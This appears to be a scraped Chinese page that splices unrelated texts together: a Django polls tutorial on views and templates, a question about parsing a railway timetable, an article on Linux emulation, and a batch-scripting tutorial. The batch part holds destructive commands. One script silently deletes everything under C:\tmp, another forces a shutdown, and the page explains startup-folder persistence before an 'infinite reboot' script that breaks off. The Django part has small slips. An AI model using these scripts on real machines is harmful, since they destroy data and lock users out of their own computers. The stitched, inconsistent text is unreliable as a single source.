精华内容
下载资源
问答
  • 一节:编写你的第个 Django 应用,第 2 部分 概况 Django 中的视图的概念是「类具有相同功能和模板的网页的集合」。比如,在一个博客应用中,你可能会创建如下几个视图: 博客首页——展示最近的几项内容。 ...

    Hello,我是 Alex 007,一个热爱计算机编程和硬件设计的小白,为啥是007呢?因为叫 Alex 的人太多了,再加上每天007的生活,Alex 007就诞生了。

    Django视图+模板系统+URL命名空间

    我们将继续编写投票应用,并且专注于如何创建公用界面——也被称为“视图”。

    上一节:编写你的第一个 Django 应用,第 2 部分

    概况

    Django 中的视图的概念是「一类具有相同功能和模板的网页的集合」。比如,在一个博客应用中,你可能会创建如下几个视图:

    • 博客首页——展示最近的几项内容。
    • 内容“详情”页——详细展示某项内容。
    • 以年为单位的归档页——展示选中的年份里各个月份创建的内容。
    • 以月为单位的归档页——展示选中的月份里各天创建的内容。
    • 以天为单位的归档页——展示选中天里创建的所有内容。
    • 评论处理器——用于响应为一项内容添加评论的操作。

    而在我们的投票应用中,我们需要下列几个视图:

    • 问题索引页——展示最近的几个投票问题。
    • 问题详情页——展示某个投票的问题和不带结果的选项列表。
    • 问题结果页——展示某个投票的结果。
    • 投票处理器——用于响应用户为某个问题的特定选项投票的操作。

    在 Django 中,网页和其他内容都是从视图派生而来。每一个视图表现为一个 Python 函数(或者说方法,如果是在基于类的视图里的话)。Django 将会根据用户请求的 URL 来选择使用哪个视图(更准确的说,是根据 URL 中域名之后的部分)。

    URL模式是URL的一般形式 - 例如: /newsarchive/<year>/<month>/.

    为了将 URL 和视图关联起来,Django 使用了 ‘URLconfs’ 来配置。URLconf 将 URL 模式映射到视图。

    本文只会介绍 URLconf 的基础内容,你可以看看 URL调度器 以获取更多内容。

    编写更多视图

    现在让我们向 polls/views.py 里添加更多视图。这些视图有一些不同,因为他们接收参数:

    def detail(request, question_id):
        return HttpResponse("You're looking at question %s." % question_id)
    
    def results(request, question_id):
        return HttpResponse("You're looking at the results of question %s." % question_id)
    
    def vote(request, question_id):
        return HttpResponse("You're voting on question %s." % question_id)
    

    把这些新视图添加进 polls.urls 模块里,只要添加几个 url() 函数调用就行:

    from django.urls import path
    
    from . import views
    
    urlpatterns = [
        # ex: /polls/
        path('', views.index, name='index'),
        # ex: /polls/5/
        path('<int:question_id>/', views.detail, name='detail'),
        # ex: /polls/5/results/
        path('<int:question_id>/results/', views.results, name='results'),
        # ex: /polls/5/vote/
        path('<int:question_id>/vote/', views.vote, name='vote'),
    ]
    

    然后看看你的浏览器,如果你转到 “/polls/34/” ,Django 将会运行 detail() 方法并且展示你在 URL 里提供的问题 ID。再试试 “/polls/34/vote/” 和 “/polls/34/vote/” ——你将会看到暂时用于占位的结果和投票页。

    当某人请求你网站的某一页面时——比如说, “/polls/34/” ,Django 将会载入 mysite.urls 模块,因为这在配置项 ROOT_URLCONF 中设置了。然后 Django 寻找名为 urlpatterns 变量并且按序匹配正则表达式。在找到匹配项 ‘polls/’,它切掉了匹配的文本(“polls/”),将剩余文本——“34/”,发送至 ‘polls.urls’ URLconf 做进一步处理。在这里剩余文本匹配了 ‘<int:question_id>/’,使得我们 Django 以如下形式调用 detail():

    detail(request=<HttpRequest object>, question_id=34)
    

    question_id=34 由 <int:question_id> 匹配生成。使用尖括号“捕获”这部分 URL,且以关键字参数的形式发送给视图函数。上述字符串的 :question_id> 部分定义了将被用于区分匹配模式的变量名,而 int: 则是一个转换器决定了应该以什么变量类型匹配这部分的 URL 路径。

    写一个真正有用的视图

    每个视图必须要做的只有两件事:返回一个包含被请求页面内容的 HttpResponse 对象,或者抛出一个异常,比如 Http404 。至于你还想干些什么,随便你。

    你的视图可以从数据库里读取记录,可以使用一个模板引擎(比如 Django 自带的,或者其他第三方的),可以生成一个 PDF 文件,可以输出一个 XML,创建一个 ZIP 文件,你可以做任何你想做的事,使用任何你想用的 Python 库。

    Django 只要求返回的是一个 HttpResponse ,或者抛出一个异常。

    因为 Django 自带的数据库 API 很方便,我们曾在 第 2 部分 中学过,所以我们试试在视图里使用它。我们在 index() 函数里插入了一些新内容,让它能展示数据库里以发布日期排序的最近 5 个投票问题,以空格分割:

    from django.http import HttpResponse
    
    from .models import Question
    
    
    def index(request):
        latest_question_list = Question.objects.order_by('-pub_date')[:5]
        output = ', '.join([q.question_text for q in latest_question_list])
        return HttpResponse(output)
    

    这里有个问题:页面的设计写死在视图函数的代码里的。如果你想改变页面的样子,你需要编辑 Python 代码。所以让我们使用 Django 的模板系统,只要创建一个视图,就可以将页面的设计从代码中分离出来。

    首先,在你的 polls 目录里创建一个 templates 目录。Django 将会在这个目录里查找模板文件。

    你项目的 TEMPLATES 配置项描述了 Django 如何载入和渲染模板。默认的设置文件设置了 DjangoTemplates 后端,并将 APP_DIRS 设置成了 True。这一选项将会让 DjangoTemplates 在每个 INSTALLED_APPS 文件夹中寻找 “templates” 子目录。这就是为什么尽管我们没有像在第二部分中那样修改 DIRS 设置,Django 也能正确找到 polls 的模板位置的原因。

    在你刚刚创建的 templates 目录里,再创建一个目录 polls,然后在其中新建一个文件 index.html 。换句话说,你的模板文件的路径应该是 polls/templates/polls/index.html 。因为app_directories 模板加载器是通过上述描述的方法运行的,所以Django可以引用到 polls/index.html 这一模板了。

    模板命名空间
    虽然我们现在可以将模板文件直接放在 polls/templates 文件夹中(而不是再建立一个 polls 子文件夹),但是这样做不太好。Django 将会选择第一个匹配的模板文件,如果你有一个模板文件正好和另一个应用中的某个模板文件重名,Django 没有办法 区分 它们。我们需要帮助 Django 选择正确的模板,最好的方法就是把他们放入各自的 命名空间 中,也就是把这些模板放入一个和 自身 应用重名的子文件夹里。

    将下面的代码输入到刚刚创建的模板文件中:

    {% if latest_question_list %}
        <ul>
        {% for question in latest_question_list %}
            <li><a href="/polls/{{ question.id }}/">{{ question.question_text }}</a></li>
        {% endfor %}
        </ul>
    {% else %}
        <p>No polls are available.</p>
    {% endif %}
    

    「载入模板,填充上下文,再返回由它生成的 HttpResponse 对象」是一个非常常用的操作流程。于是 Django 提供了一个快捷函数,我们用它来更新 一下 polls/views.py 里的 index 视图来使用模板:

    from django.shortcuts import render
    
    from .models import Question
    
    
    def index(request):
        latest_question_list = Question.objects.order_by('-pub_date')[:5]
        context = {'latest_question_list': latest_question_list}
        return render(request, 'polls/index.html', context)
    

    render()函数的第一个参数是请求对象,第二个参数是模板名称,第三个参数是字典。

    render()作用是,载入 polls/index.html 模板文件,并且向它传递一个上下文(context)。这个上下文是一个字典,它将模板内的变量映射为 Python 对象。最后返回使用给定上下文呈现的给定模板的HttpResponse对象。

    用你的浏览器访问 “/polls/” ,你将会看见一个无序列表,列出了我们在 第 2 部分 中添加的 “What’s up” 投票问题,链接指向这个投票的详情页。

    抛出 404 错误

    现在,我们来处理投票详情视图——它会显示指定投票的问题标题。下面是这个视图的代码:

    from django.http import Http404
    from django.shortcuts import render
    
    from .models import Question
    # ...
    def detail(request, question_id):
        try:
            question = Question.objects.get(pk=question_id)
        except Question.DoesNotExist:
            raise Http404("Question does not exist")
        return render(request, 'polls/detail.html', {'question': question})
    

    这里有个新原则。如果指定问题 ID 所对应的问题不存在,这个视图就会抛出一个 Http404 异常。

    我们稍后再讨论你需要在 polls/detail.html 里输入什么,但是如果你想试试上面这段代码是否正常工作的话,你可以暂时把下面这段输进去:

    {{ question }}
    

    这样你就能测试了。

    一个快捷函数: get_object_or_404()

    尝试用 get() 函数获取一个对象,如果不存在就抛出 Http404 错误也是一个普遍的流程。Django 也提供了一个快捷函数,下面是修改后的详情 detail() 视图代码:

    from django.shortcuts import get_object_or_404, render
    
    from .models import Question
    # ...
    def detail(request, question_id):
        question = get_object_or_404(Question, pk=question_id)
        return render(request, 'polls/detail.html', {'question': question})
    

    get_object_or_404() 函数将Django模型作为其第一个参数,并将任意数量的关键字参数传递给模型管理器的 get() 函数。如果对象不存在,它将引发Http404。

    也有 get_list_or_404() 函数,工作原理和 get_object_or_404() 一样,除了 get() 函数被换成了 filter() 函数。如果列表为空的话会抛出 Http404 异常。

    使用模板系统

    回过头去看看我们的 detail() 视图。它向模板传递了上下文变量 question 。下面是 polls/detail.html 模板里正式的代码:

    <h1>{{ question.question_text }}</h1>
    <ul>
    {% for choice in question.choice_set.all %}
        <li>{{ choice.choice_text }}</li>
    {% endfor %}
    </ul>
    

    模板系统统一使用点符号来访问变量的属性。在示例 {{ question.question_text }} 中,首先 Django 尝试对 question 对象使用字典查找(也就是使用 obj.get(str) 操作),如果失败了就尝试属性查找(也就是 obj.str 操作),结果是成功了。如果这一操作也失败的话,将会尝试列表查找(也就是 obj[int] 操作)。

    在 {% for %} 循环中发生的函数调用:question.choice_set.all 被解释为 Python 代码 question.choice_set.all() ,将会返回一个可迭代的 Choice 对象,这一对象可以在 {% for %} 标签内部使用。

    去除模板中的硬编码 URL

    还记得吗,我们在 polls/index.html 里编写投票链接时,链接是硬编码的:

    <li><a href="/polls/{{ question.id }}/">{{ question.question_text }}</a></li>
    

    问题在于,硬编码和强耦合的链接,对于一个包含很多应用的项目来说,修改起来是十分困难的。然而,我们之前在 polls.urls 的 url() 函数中通过 name 参数为 URL 定义了名字,可以使用 {% url %} 标签代替它:

    <li><a href="{% url 'detail' question.id %}">{{ question.question_text }}</a></li>
    

    这个标签的工作方式是在 polls.urls 模块的 URL 定义中寻具有指定名字的条目。你可以回忆一下,具有名字 ‘detail’ 的 URL 是在如下语句中定义的:

    # the 'name' value as called by the {% url %} template tag
    path('<int:question_id>/', views.detail, name='detail'),
    

    如果你想改变投票详情视图的 URL,比如想改成 polls/specifics/12/ ,你不用在模板里修改任何东西(包括其它模板),只要在 polls/urls.py 里稍微修改一下就行:

    # added the word 'specifics'
    path('specifics/<int:question_id>/', views.detail, name='detail'),
    

    为 URL 名称添加命名空间

    教程项目只有一个应用,polls 。在一个真实的 Django 项目中,可能会有五个,十个,二十个,甚至更多应用。Django 如何分辨重名的 URL 呢?举个例子,polls 应用有 detail 视图,可能另一个博客应用也有同名的视图。Django 如何知道 {% url %} 标签到底对应哪一个应用的 URL 呢?

    答案是:在根 URLconf 中添加命名空间。在 polls/urls.py 文件中稍作修改,加上 app_name 设置命名空间:

    from django.urls import path
    
    from . import views
    
    app_name = 'polls'
    urlpatterns = [
        path('', views.index, name='index'),
        path('<int:question_id>/', views.detail, name='detail'),
        path('<int:question_id>/results/', views.results, name='results'),
        path('<int:question_id>/vote/', views.vote, name='vote'),
    ]
    

    现在,编辑 polls/index.html 文件,修改为指向具有命名空间的详细视图:

    <li><a href="{% url 'polls:detail' question.id %}">{{ question.question_text }}</a></li>
    

    关于视图这方面的内容我们就讲完了,下节课我们了解基础的表单处理和通用视图。

    展开全文
  • 铁路公司的每列火车仅某些日期和某一天的某些日子之间特定范围的车站之间行驶 .这家铁路公司已经发布了一份日历,每张火车都会显示它的行程 . 此日历的文本显然是由某些脚本通过计算机生成的,该脚本数据库...

    铁路公司的每列火车仅在某些日期和某一天的某些日子之间在特定范围的车站之间行驶 .

    这家铁路公司已经发布了一份日历,每张火车都会显示它的行程 . 此日历上的文本显然是由某些脚本通过计算机生成的,该脚本在数据库中显示日期 . 这种方式生成的句子一开始很难理解,但它们遵循一些严格的句法规则,因此使用正则表达式和一些字符串操作解析它们应该不难 . 当日期重叠或以反直觉方式指定时,事情变得复杂 .

    我需要编写一个脚本来解析这个日历,并为每列火车返回它所经过的一周的日期和日期 . 我们假设这个日历对当前年份(2018年)有效 . 以下是一些示例文本以及如何解析它们 .

    示例#1

    Original text:

    从[原点]到[目的地]这列火车在非工作日的2018-01-01到2018-06-30之间不行驶 .

    Meaning (explained):

    这列火车总是在2018年旅行,但在07/01之前它只在工作日旅行 .

    Example parsed data:

    [{"from": "2018-01-01",

    "to": "2018-06-30",

    "days": (1, 1, 1, 1, 1, 1, 0)}, # (mon, tue, wed, thu, fri, sat, sun)

    {"from": "2018-07-01",

    "to": "2018-12-31",

    "days": (1, 1, 1, 1, 1, 1, 1)}]

    示例#2

    Original text:

    从[原点]到[X],这列火车每天在2018-01-01和2018-12-31之间行驶 . 从[X]到[目的地],这列火车每天在2018-08-01和2018-08-04之间,每天2018-08-26和2018-12-31之间 . 它不会在2018-01-01和2018-08-04之间于周日2018-12-31,周日2018-08-26和2018-12-30之间旅行 .

    Meaning (explained):

    从[原点]到[X],火车总是在2018年行驶 . 从[X]到[目的地]火车的行驶方式如下:

    每天01/01至08/04,但周六

    从08/05到08/25永远不会

    每天从08/26到12/30,但周六和周日 .

    永远不会在12月31日

    .

    正如你所看到的,这个措辞非常严厉,而且部分矛盾 .

    Example parsed data:

    # From [origin] to [X]

    [{"from": "2018-01-01",

    "to": "2018-12-31",

    "days": (1, 1, 1, 1, 1, 1, 1)}]

    # For all the stations after [X]

    [{"from": "2018-01-01",

    "to": "2018-08-04",

    "days": (1, 1, 1, 1, 1, 0, 1)},

    {"from": "2018-08-26",

    "to": "2018-12-30",

    "days": (1, 1, 1, 1, 1, 0, 0)}]

    示例#3

    Original text:

    从[原点]到[目的地]这列火车在2018-01-01和2018-11-30之间旅行,周一,周六,2018-12-25,2018-12-30和2018-12-31之间天 . 在2018-11-01的非工作日,它不会在2018-12-30和2018-12-31之间旅行 .

    Meaning (explained):

    这列火车在2018年的行程如下:

    周一和周六01/01至10/31

    永远不会在11月1日

    周一和周六11月11日至11月30日

    从12月1日到12月24日从未

    每天12月25日

    从12/26到12/29永远不会

    每天12月30日至12月31日,但周日

    Example parsed data:

    [{"from": "2018-01-01",

    "to": "2018-10-31",

    "days": (1, 0, 0, 0, 0, 1, 0)},

    {"from": "2018-11-02",

    "to": "2018-11-30",

    "days": (1, 0, 0, 0, 0, 1, 0)},

    {"from": "2018-12-25",

    "to": "2018-12-25",

    "days": (1, 1, 1, 1, 1, 1, 1)},

    {"from": "2018-12-30",

    "to": "2018-12-31",

    "days": (1, 1, 1, 1, 1, 1, 0)}]

    到目前为止我做了什么

    我将问题分成多个部分:

    从文本中提取数据 . 我将文本分成短语(以句点分隔) . 然后我使用正则表达式和字符串操作来确定它是正数(“旅行”)还是负数(“不旅行”),获取日期间隔和星期几,单个日期,一周中的单日 . 如果判决结果为否定,我会撤销日期 .

    我将一周中的日期(以及“每天”,“工作日”等)转换为包含一周中几天的元组,正如我在示例中所写的那样 . 每个元组都与日期间隔相关联 .

    下一个问题是将所有日期间隔与一周中每一天的正确数据合并 . 可能有一个Python模块可以轻松地执行此操作,但我不知道从哪里开始(基于此步骤的完成方式,以前的步骤可能需要完全更改) .

    另一个问题是每列火车的每个车站都应该有自己的日期 . 当日历从[原点]到[X]以及从[X]到[目的地]时,应该以特定方式处理[X],因为它的日期是第一个第二个间隔的日期的并集 .

    展开全文
  • 通常所说的GCC是GUN Compiler Collection的简称,除了编译程序之外,它还含其他相关工具,所以它能把易于人类使用的高级语言编写的源代码构建成计算机能够直接执行的二进制代码。GCC是Linux平台下最常用的编译程序,...
  • 编写适用于模拟器的Linux代码

    千次阅读 2005-02-05 09:35:00
    在某计算机上模拟其他计算机的历史已经很长,通常是为了使用遗留应用程序,或者是为了使用更稳定、响应更快的OS的系统上运行流行的OS而编写的应用程序。随着Linux越来越流行,当开发人员规划将运行于非Linux系统上...
    在某台计算机上模拟其他计算机的历史已经很长,通常是为了使用遗留应用程序,或者是为了使用更稳定、响应更快的OS的系统上运行流行的OS而编写的应用程序。随着Linux越来越流行,当开发人员规划将运行于非Linux系统上的二进制程序时,需要审视他们的选择。本文将研究模拟器的功能,并将详细地研究硬件模拟和软件模拟的问题。 

        在某台计算机上模拟其他计算机已有多年的历史。模拟老的计算机的一个常见原因是怀旧,不过不可否认,很多模拟器能够非常出色地运行多种计算机游戏。模拟其他计算机的另一个原因是为了使用只存在于某个特定平台上的应用程序软件。

        通常,应用程序模拟以占据较大市场份额的平台为目标。例如,WINE 项目尝试去提供一个运行 Windows二进制程序的途径。

        不过,近年来Linux已经被证明是一个稳定而且全能的操作系统;因而,它的市场份额也有所增长。市场份额的增长激起了人们对模拟Linux的兴趣。本文评论了在其他系统上进行Linux二进制程序模拟的现状,并着重指出为了让人们更方便地在模拟环境中运行他们的二进制程序,开发人员应该紧记的一些问题。



    基本的模拟器

        模拟器的思想很简单。计算机是充分可预测的。如果您想确切地了解如果给出一段特定的代码计算机会做什么,那么通过建立这台计算机的模型就可以得到结果。当然,这会涉及到相当多的开销,但是,如果要模拟的计算机比正在进行模拟的计算机老得多,那么模拟环境将比原来的机器更快。

        有一些模拟层,比如NetBSD的Linux模拟层,只是提供某个环境的软件部分的模拟,从 Linux 程序库取得系统调用,并处理返回结果,使得看起来像是在使用 Linux内核。其他的模拟层,比如VirtualPC,可以模拟整台计算机,包括处理器。模拟处理器的速度会更慢,但是可以带来更好的兼容性。



    发行版本格式的模拟器

        尽管本文重点关注的是在其他平台上运行Linux二进制程序的方法,但是,经过编译的二进制程序发行版本同样占有一席之地。随着Linux模拟环境越来越普及,Linux二进制程序格式成为发行简单程序(不给出源代码)的一个可行方法。Linux二进制程序可以在多种系统上运行,无可否认,有时需要付出一些代价——以Linux二进制程序格式作为通用发行版本格式还会遇到一些挑战。

        通常,模拟不足以让您在为另一个系统构建的程序中运行为某个系统构建的共享对象。如果您的产品大部分是以共享程序库对象的形式发行的,那么这些产品可能不会被加载到其他平台上。

        有人认为,使用Linux二进制程序格式来向其他平台发行代码是疯狂的。也许这很疯狂,但它是可行的。近几年,我的主要的Web浏览器就一直在模拟环境中运行(更不用提字处理器、文档转换器,甚至信用卡处理软件)。

        我们乐于使用的大部分软件应用程序都是商用的,并且,能够发行可以运行在很多平台之上的单一的二进制程序会使商业软件供应商大大受益。如果有多种多样的Linux模拟环境可用,那么Linux二进制程序格式会表现为第一个真正的软件发行版本选择。

        噢,移植源代码是与发行有很大区别的任务;通常,移植任务更为简单。

    完全硬件模拟器

        完全硬件模拟器会模拟一台完整的机器;不只是处理器,还包括机器所有其余部分。例如,被模拟的计算机可能拥有自己的键盘控制器和视频卡。

        完全硬件模拟常用于使用较老机器的程序。MAME街机游戏(arcade game)模拟器就是一个流行的示例,它模拟了多种老式街机游戏机的硬件。

        就某些方面而言,完全硬件模拟器是进行模拟的最简单方式。很多工作都需要构建一个完全硬件模拟器,但是一旦您拥有这样一个模拟器,所有的事情就都可以迎刃而解。例如,用于 Macintosh 的 VirtualPC 版本 3 开始支持 Linux。

        硬件模拟可以解决使用其他方式难以解决的问题。例如,我以前有一个BIOS闪存工具,仅以用于DOS的自解压缩的映像文件的格式发布。更糟糕的是,运行它的机器必须在传统的 ISA 软盘控制器上安装实际的软盘(我的 Windows 桌面机有一个 LS-120 驱动器)。通过模拟来解决这个问题吧!我在模拟器下运行该程序,将数据写入已经插入 Mac 的一个 USB 软盘驱动器。

        硬件模拟也有其不利方面。为了让一切都能够运转,需要付出很大努力。如果需要网络,那么还需要很好地模拟网络芯片,以使得操作系统可以在这个芯片上运行。此外,模拟本身所没有的指令的代价可能非常高昂。通常,像这样一个系统可以近乎完美地运转,但是,与时限(timing)相关的功能可能会不可靠。

        完全硬件模拟器已经使用了很长时间,最适合处理速度可能受模拟影响的遗留系统和代码。

        虽然如此,想要在 Macintosh 或者任何其他非 x-86 机器上运行x86Linux二进制程序的用户,为了尝试运行程序,可能要完全依赖于某种当前可用的x86模拟器。在类似这样的系统上,大部分工具程序将运行得非常好(虽然可能较慢)。要担心的惟一一个主要顾虑是,为了提高性能,这种系统的用户可能安装较小的或者较老的 Linux 发行版本。使用 32 MB 内存来运行模拟机器的那些人不可能运行最新版本的 KDE。



    部分硬件模拟器

        部分硬件模拟器是一个中间解决方案:它们模拟一台计算机,但是这台计算机只能是与它们实际上所在的计算机类型相同的计算机。由于执行的速度与宿主机器相当,所以类似这样的程序可以降低模拟的成本。此类模拟器的示例包括 Serenity Virtual Station 和 VMWare。

        当您拥有用于多种操作系统的应用程序,而且需要同时运行它们时,这些系统最为实用。类似于完全硬件模拟,这样的系统将运行一个完全的 Linux OS 环境,只要您的程序能够适当地跨Linux系统移植,那么就没什么问题。不过,再次声明,Linux的移植到较老版本的可移植性将有非常有用。使用虚拟机的人们可能愿意在这样的系统上运行一个较老的、占空间较小的 Linux 版本。
    软件模拟器

        在模拟世界中,软件模拟器是最基本的。软件模拟器不在某台虚拟机上运行您的应用程序——它不通过虚拟机,而是实时地去运行它。建立一个环境,在这个环境中,程序的代码可以正常运行,但是,程序访问操作系统的尝试会被通过某个模拟层来发送,这样,这些程序就可以使用了。WINE是一个极好的示例(虽然是用于Windows),尽管它并不是一个正式的模拟器。

        有一些软件模拟器是由用户显式地调用,比如可用于 SCO 和 Solaris系统的lxrun程序。有些软件模拟器则构建成为UNIX内核对加载二进制映像的支持 —— 如果程序看起来不正确,那么,可以将它与一个可能模拟器表相对照,以查看它们是否可以运行它。

        软件模拟器通常会带来最好的用户体验。不需要特殊的设置,不需要庞大的磁盘映像。程序只需要去运行即可(大部分情况下)。不过,访问系统调用、共享程序库以及文件系统结构会引发许多问题,所以,接下来我们将讨论它们。



    系统调用

        系统调用是模拟中最简单也是最困难的部分。系统调用具有明确定义的接口,而且,通常可以方便地检测并处理调用机制——这是简单的部分。困难之处在于可能难以或者不可能较好地实现系统调用。传统上,Linux模拟中最难以处理的是clone()系统调用。这个调用提供了获得简单线程的一个强制方法,即创建两个共享许多内容进程,共享的内容可以包括内存、文件描述符、信号处理——换句话说,可以包括任何内容和所有内容。不幸的是,如果您的操作系统不具备与此完全类似的功能,那么没有任何办法来实现这个系统调用。

        更糟糕的是,由于当POSIX线程还没有完善或获得广泛支持之前,clone()就已经出现,并经常被用作POSIX线程的替代,所以,许多程序都以多种令人兴奋的、复杂的且(我必须要说)意想不到的方式来使用它。

        如果您想让人们运行您的二进制程序,那么尝试让他们不要使用针对特定操作系统的系统调用;最好使用标准的POSIX系统调用。这是软件开发的一个良好的习惯做法。

        基于内核的模拟器可以捕捉到到达它的系统调用。用户空间模拟器,比如 lxrun,会等待应用程序尝试进行系统调用。由于 Linux 系统调用功能与 Solaris 或SCOUNIX上的系统调用功能不同,所以结果是发生一个代码段错误。然后,lxrun程序像一个调试器那样纠正这个错误并使系统调用继续运行——但是,实际上,它已经截取了这个系统调用,并向底层操作系统进行相应的系统调用,而且解决了所有问题。聪明!

    文件系统结构

        文件系统的问题通常更为微妙。访问文件系统极其简单。不简单的是如何找到您想要的文件。

        如果您的程序在模拟环境中运行,那么要访问的文件系统可能与您开发程序时使用的文件系统有本质上的不同。例如,如果您的程序使用了/proc文件系统(常用来获得内核状态和信息),那么在较新的内核中常见的特性在较老的系统中可能并不存在。

        这里的开发人员比专有系统上的开发人员拥有巨大的优势,因为不同的Linux发行版本以不同方式安排文件,所以大部分程序员都非常清楚如何避免过分依赖于文件系统设计。但是 —— 有时 —— 不得不将文件名嵌入到程序之中。

        许多模拟器解决这个难题所采取的一个方案是:建立一个针对文件系统调用的额外的解释层。例如,在 NetBSD 的 Linux 模拟环境代码中,首先根据 /emul/linux中的文件检查对文件的访问,之后才对系统真正的root目录中的文件进行检查。这就使得当Linux二进制程序不能使用标准文件时,系统可以提供“覆盖(override)”系统文件的文件。

        实际上,这一方法的主要用途在于程序库和其他支持文件,不过也同样提供了许多系统二进制程序。例如,如果 Linux 二进制程序尝试调用 uname 来得到内核版本,却得到了NetBSD的版本号,这将非常令人迷惑。取而代之,它应得到所预期的 Linux 版本号。



    共享程序库

        如前所述,共享程序库是能够被模拟的二进制程序找到却不能够被系统二进制程序找到的一个非常好的例子。由于在不同的系统上共享程序库的格式和 ABI 细节可能各异,所以不能随意假定所有的系统都可以共享某个给定的程序库。名称可能冲突 —— 例如,当前NetBSD和SUSE7.3都拥有一个名为libncurses.so.5的文件。重要的是要使用其中正确的那一个。

        共享程序库为开发人员指出了另外一个注意事项。了解不同的系统正在使用的程序库版本很重要。现在,NetBSD 的 Linux 模拟环境正在使用的是 SUSE 7.3 共享程序库。仍然有使用9.1共享程序库的代码,但是它们会获得警告,告之它们不能稳定地进行内核级模拟。

        模拟环境软件包通常远远跟不上市场的步伐。即使您觉得大部分预期用户都应该拥有了相当新的Linux发行版本,但是大批模拟器还是几乎全都有些跟不上时代。

        共享程序库还引发了另一个顾虑——不是每个系统都包含全部共享程序库。模拟环境软件包通常不会安装所有最新的共享程序库。而且,更麻烦的是,它们的用户也不太可能有能力轻松地安装所缺少的软件包。

        在这些情况下,最大限度地减少对新特性和非核心共享程序库的依赖是一个好办法。模拟器用户可能会遇到这些问题。

        不要误以为使用静态程序库就可以保证解决这些问题。静态程序库可能引入其自己的新的依赖,而且不容易检查到它们。如果静态地链接了一个使用某个不可移植的系统调用,那么通过重写算法来避免这个系统调用将没有什么用处。动态链接让您构建的程序能够在更大范围内的系统上运行。
    调用其他程序的程序


        有一种特别的情形比任何其他情形更令人们头疼,尤其与安装器相关。在很多系统上,调用 /bin/sh 所得到的 shell 不是bash。这就意味着使用 bash 扩展的脚本可能不能在其他系统上运行。

        这就陷入了模拟器中的一个特别错综复杂的逻辑中。当执行二进制程序时,操作系统可能知道的足够多,可以核对相关的Linux二进制程序的Linux路径,而且它可能在那里安装 bash 的一个副本。但是,当您运行一个脚本时,内核不会将其看作是一个 Linux二进制程序;它发现脚本附带有一个解释程序路径,当尝试加载解释程序时,它将不再运行于模拟模式之下。

        可移植shell脚本技术在这里得到了应用。当用户运行被模拟的应用程序时,这是要面对的最常见问题之一。安装器可能会因为不是可移植的 shell 脚本而不能运行。

    类似于标准的开发,只是更为标准


        为了方便那些可能要在模拟环境中运行您的程序的用户,开发软件时需要紧记以下事项,并且开发任何软件时都应该紧记这些事项:

        尽可能遵循适当的标准。
        避免“专门特性”。
        不要挑战极限(push the envelope)。


        而且,只要可以避免,就不要依赖于一个月前刚刚发布的某些东西来构建您的代码。因为那样做将缩小您的有效的目标市场。

    展开全文
  • 批处理编写实例

    2021-03-22 16:00:11
    2,如果其中某一条命令执行出错,不中断批处理,一直执行到最后一条命令为止 3,批处理中不区分大小写 批处理文件 批处理的载体,也就是一些dos命令写文件中的集合 批处理文件后缀: .bat 批处理文件编写实例...

    批处理文件及其编写实例

    什么是批处理

    通俗来说,批处理就是dos命令集中写在一个文件中,然后由计算机替你自动的去打开cmd窗口,从上到下向窗口中一条一条地输入dos命令并回车,直到所有dos命令执行完毕的过程
    *注意:批处理执行特点
    	1,从上到下,顺序执行
    	2,如果其中某一条命令执行出错,不中断批处理,一直执行到最后一条命令为止
    	3,批处理中不区分大小写
    

    批处理文件

    批处理的载体,也就是一些dos命令写在文件中的集合
    批处理文件后缀: .bat
    

    批处理文件编写实例(请自己动手在虚拟机中编写文件,不提倡复制粘贴,理解注释中的意思)

    温馨提示

    ***实验代码具有破坏性,请不要在真实环境中运行,虚拟机最好保存一个初始快照
    ***  # 后面的文字为代码注释
    

    1,万恶的hello world 输出

    @echo off             #关闭命令执行回显,只显示执行结果
    color 0a			  #设置屏幕背景以及字体颜色 0表示黑色背景,a表示绿色字体,可以再尝试 FC
    echo hello world!     #在屏幕中输出hello world
    pause				  #使批处理执行暂停,以便观察结果
    
    ** 程序运行结果:屏幕输出hello world!
    

    2,磁盘清理小程序

    @echo off 
    color FC
    title 磁盘清理小程序	 #给批处理起个名字,在窗口的左上角显示
    C:					 #告诉系统,接下来将对C盘进行操作,如果要定位的盘符不存在,则回显“系统找不到指定的驱动器”错误,并继续向下执行
    cd\					 #切换路径到 C盘的根下
    cd tmp 				 #切换至tmp目录下
    del /s /q .			  #删除指定目录下的文件 /s 删除子目录中的文件  /q 无需确认,直接删除  
    rd /s /q .			#删除指定目录下的目录 /s 删除子目录 /q 无需确认,直接删除
    echo clear finished!!	#回馈信息
    pause
    
    ** 程序运行结果:屏幕输出文件删除信息,以及 clear finished!!,c盘下的tmp目录中的所有文件以及文件夹被删除,还可能输出 :另一个程序正在使用此文件,进程无法访问;这只是个警告信息,无需理会
    

    2,定时关机小程序

    @echo off
    color 0a
    title 定时关机小程序
    
    :meau				#批处理标号,一般与goto配合使用,来实现跳转执行功能
    cls					#清屏
    echo =====================
    echo	  meau 
    echo   1,定时关机
    echo   2,取消关机
    echo   3,退出程序
    echo =====================
    
    set /p num=请选择服务:			#set 创建一个变量 /p 等待用户输入并回车,将用户输入的值赋给左边的num
    if "%num%"=="1" goto shutdown	#goto 跳转,跳转到批处理中指定的标号位置,并从标号的位置开始,顺序向下执行批处理命令; %num% ,获取变量名为num的值,两个 % 用于获取变量的值
    if "%num%"=="2" goto noshutdown
    if "%num%"=="3" goto exit
    echo 好家伙,别瞎输入QAQ,请输入 1/2/3
    pause
    goto meau
    
    :shutdown
    set /p times=输入关机时间(单位是秒/s):
    shutdown /s /f /t %times%		#shutdown 关机或重启命令 /s 关机 /f 强制 /t 后接时间,单位为秒
    goto meau
    
    :noshutdown
    shutdown /a				# /a 取消关机或重启
    goto meau
    
    :exit
    exit					#退出命令行窗口/退出程序
    
    **程序运行结果:窗口出现黑屏绿字体的菜单信息,输入 1 并设置时间能够做到定时关机,输入 2 能够取消关机,输入 3 窗口关闭;输入 1,2,3以外的字符程序出现正确输入指引;
    

    4,知识点准备

    *微软为了提升用户体验,在用户的家目录下,设置有一个启动项/启动目录,用于在用户设置某些程序开机自启动;
    *其工作方式:假设用户设置了QQ软件开机自启,电脑就把QQ的快捷方式放在了该用户的启动项中,再下一次用户电脑开机时,电脑会自动的先去这个启动项中查看是否存在开机自启应用,如果存在,则再开机后首先运行该应用; 通俗讲:相当于在开机后自动帮你双击了QQ快捷方式运行了QQ;
    *在windows中,存在一个全局变量名为 userprofile ,这个变量存的值是windows当前登录用户的家目录路径(绝对路径),比如:当前系统是win7,且用户是aaa,则这个用户存的值就是 :C:users\aaa ,可以在cmd下使用 echo %userprofile% 查询;
    

    5,无限重启小程序

    @echo off
    color 0a
